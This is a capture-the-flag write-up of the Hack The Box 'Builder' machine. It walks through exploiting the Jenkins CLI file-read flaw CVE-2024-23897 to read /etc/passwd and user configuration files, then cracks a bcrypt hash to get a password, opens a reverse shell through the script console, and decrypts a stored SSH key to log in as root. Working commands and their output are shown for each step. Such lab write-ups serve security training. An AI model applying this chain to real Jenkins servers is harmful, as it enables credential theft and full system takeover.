Builder

https://app.hackthebox.com/machines/Builder

Builder was a medium machine focused on Jenkins vulnerability.

Ports scan

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-09 22:13 IST
Nmap scan report for 10.10.11.10 (10.10.11.10)
Host is up (0.71s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Dashboard [Jenkins]
|_http-server-header: Jetty(10.0.18)
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.69 seconds

Web page

Nmap scan found that port 8080 is running for Jenkins

Upon visiting the website, we found Jenkins dashboard and wapalyzer tells us the version.

Vulnerable Jenkins version 2.441

Web attack

Jenkins Arbitrary File Leak Vulnerability, CVE-2024-23897, Can Lead To RCE | ZscalerZscaler

The above link gives a better demonstration of how the attack works.

Let's downoad the jar file with:

wget http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar

Let's get file imp file contents now

└─➜ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 enable-job '@/etc/passwd'                                                                                                     [255]

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar enable-job NAME
Enables a job.
 NAME : Job name

Hmmm, we are just getting a single line.... We can use help and list all the commands to see what commands can help us to get how many lines.

My guess: the reason we have different size output with different command is because a particular command has that length of expected output size. I.e enable job i used above might give True or False or some other output that is of 1 line only.

Anyway let's continue with trying a perfect command that will result many lines. For this purpose I wrote a python script (yeah ippsec way didn't work for my shell)

I used and manually saved output in check file:

java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help | grep -E '\s\s[a-z]'

You can paste the commands in a file called check

import os

cmds = open('./check', 'r').read().split('\n')
#print(cmds)

for cmd in cmds:
    print(cmd, '    : ', os.popen(f"java -jar jenkins-cli.jar -s http://10.10.11.10:8080 {cmd} '@/etc/passwd' 2>&1 | wc -l").read())

I found out that connect node has max number of output lines

java -jar jenkins-cli.jar -s http://10.10.11.10:8080 connect-node '@/etc/passwd'                                                                                                     [5]

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

we found 2 users

java -jar jenkins-cli.jar -s http://10.10.11.10:8080 connect-node '@/etc/passwd' 2>&1 | grep sh 

root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.

I tired to get ssh private key from this, but no luck

ERROR: No such file: /var/jenkins_home/jenkins/.ssh/id_rsa

Hmm, not a user I suppose

Upon searching the directory structure of Jenkins and how it store files, I found this blog:

Directory Structure and Installing Plugins in JenkinsMedium

I could have done like ippsec way : To pull dockerfile and install jenkins and look at the directory structure, but I didn't wanna install things lol.

If we looked at users part in the blog

the users.xml file seem intresting

java -jar jenkins-cli.jar -s http://10.10.11.10:8080 connect-node '@/var/jenkins_home/users/users.xml' 2>&1                                                         [5]

<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
      <string>jennifer_12108429903186576833</string>: No such agent "      <string>jennifer_12108429903186576833</string>" exists.
  <idToDirectoryNameMap class="concurrent-hash-map">: No such agent "  <idToDirectoryNameMap class="concurrent-hash-map">" exists.
    <entry>: No such agent "    <entry>" exists.
      <string>jennifer</string>: No such agent "      <string>jennifer</string>" exists.
  <version>1</version>: No such agent "  <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
  </idToDirectoryNameMap>: No such agent "  </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
    </entry>: No such agent "    </entry>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

We get the username: jennifer_12108429903186576833
Now we can get password inside file: /var/jenkins_home/users/jennifer_12108429903186576833/config.xml

java -jar jenkins-cli.jar -s http://10.10.11.10:8080 connect-node '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml' 2>&1                          [2]

<<--SNIPPED-->>

  <fullName>jennifer</fullName>: No such agent "  <fullName>jennifer</fullName>" exists.
      <seed>6841d11dc1de101d</seed>: No such agent "      <seed>6841d11dc1de101d</seed>" exists.
  <id>jennifer</id>: No such agent "  <id>jennifer</id>" exists.
  <version>10</version>: No such agent "  <version>10</version>" exists.
      <tokenStore>: No such agent "      <tokenStore>" exists.
          <filterExecutors>false</filterExecutors>: No such agent "          <filterExecutors>false</filterExecutors>" exists.
    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: No such agent "    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>" exists.
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent "      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

Password hash: $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a
Crack hash with johnTheRipper

└─➜ john --wordlist=/usr/share/wordlists/rockyou.txt hash                                                                                                             [130]
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess         (?)
1g 0:00:00:00 DONE (2024-03-11 08:39) 2.127g/s 306.3p/s 306.3c/s 306.3C/s 123456..sandra
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Credentials: jennifer:princess

User

Upon login the intresting url I found was: http://10.10.11.10:8080/manage/script
We can execute java code. Getting a shell code from https://www.revshells.com/

After executing Java #3 payload, i get the reverse shell

$> rlwrap nc -nvlp 4444                                                                                                                                                [0]
Connection from 10.10.11.10:50282
id
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)

And now we can grab user.txt from /var/jenkins_home

I've looked inside credentials.xml file and found a hashed ssh private key

jenkins@0f52c222a4cc:~$ cat credentials.xml
<?xml version='1.1' encoding='UTF-8'?>
<<SNIP>>
          <id>1</id>
          <description></description>
          <username>root</username>
          <usernameSecret>false</usernameSecret>
          <privateKeySource class="com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey$DirectEntryPrivateKeySource">
            <privateKey>{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}</privateKey>
          </privateKeySource>
<<SNIP>>

</com.cloudbees.plugins.credentials.SystemCredentialsProvider>jenkins@0f52c222a4cc:~$

We can see the ssh hashed key can be decrypted using:

How to decrypt Jenkins passwords from credentials.xml?DevOps Stack Exchange

Going back to the script console we can run the command provided and get private key

Root

We can save and login root with the above key.

└─➜ nvim id_rsa          #paste the key inside id_rsa file
└─➜ chmod 400 id_rsa     #permission must be changed before ssh'ing

└─➜ ssh root@10.10.11.10 -i id_rsa                                                                                                                                    [130]
The authenticity of host '10.10.11.10 (10.10.11.10)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.10' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)

<SNIP>

Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40
root@builder:~# id
uid=0(root) gid=0(root) groups=0(root)
root@builder:~# cd /root
root@builder:~# ls
root.txt
root@builder:~# cat root.txt
4ad98<<--SNIPPED-->>56eb1ab7
root@builder:~#

________________heapbytes's still pwning.

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Last updated 1 year ago